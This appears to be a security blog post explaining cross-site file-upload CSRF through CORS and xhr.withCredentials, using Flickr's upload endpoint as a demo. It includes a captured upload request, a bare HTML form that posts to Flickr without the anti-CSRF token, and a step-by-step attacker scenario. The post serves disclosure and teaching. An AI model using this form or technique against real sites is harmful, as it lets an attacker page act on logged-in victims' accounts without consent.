the world. according to koto

Summary

Demo

Vulnerability description

POST /photos/upload/transfer/ HTTP/1.1
Host: up.flickr.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flickr.com/photos/upload/basic/
Cookie: BX=somecookies&b=3&s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="done"
1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="complex_perms"
0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="magic_cookie"
8b84f6a5d988b5f3a1be31c841042f41
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg
[binary-data-here]
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="tags"
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="is_public_0"
1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="safety_level"
0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="content_type"
0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="Submit"
UPLOAD
-----------------------------410405671879807276394827599--

<form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post">
<input type=hidden name=is_public_0 value=1>
<input type=file name=file1>
<input type="submit">
<!-- no magic_cookie here, still works -->
</form>

I can haz cookies!

xhr.withCredentials = "true"; 

• CORS simple requests will include cookies / HTTP auth
• CORS preflighted requests will ask for permission to include them

1. Victim logs in to victim.whatever.com website
2. He receives a session cookie for future requests
3. In the same browser session (e.g. 2nd tab) he visits attacker.reallybad.ly website
4. Javascript code in attacker silently prepares CORS file upload request with XMLHttpRequest object to victim domain, and asks to include credentials (xhr.withCredentials)
   
   "Browser, I really need you to send this tiny little harmless POST to victim"
   
   
5. Browser treats this as a simple CORS request, so it attaches the cookie for victim domain to it and sends it.
   
   "Hey, JS! It's a request to another domain - what are you up to? Oh, just a POST request? No custom headers? Sure thing, here are the cookies and I wish you a pleasant journey!"
   
   
6. victim app receives the POST file upload with the cookie, so it processes the upload and responds.
   
   "What's this weird Origin header pointing to attacker.reallybad.ly? It must be the new kid in town, but who am I to know?"
   
   
7. Browser looks at the response and, not having appropriate CORS response headers, discards the response.
   
   "Oh dear! No Access-Control-Allow-Origin header at all! You bad Javascript! I won't give you the response, and you'll get spanked with an exception! Surely that was one nasty hack attack I prevented. Luckily I follow the CORS specification, good work, CORS guys!"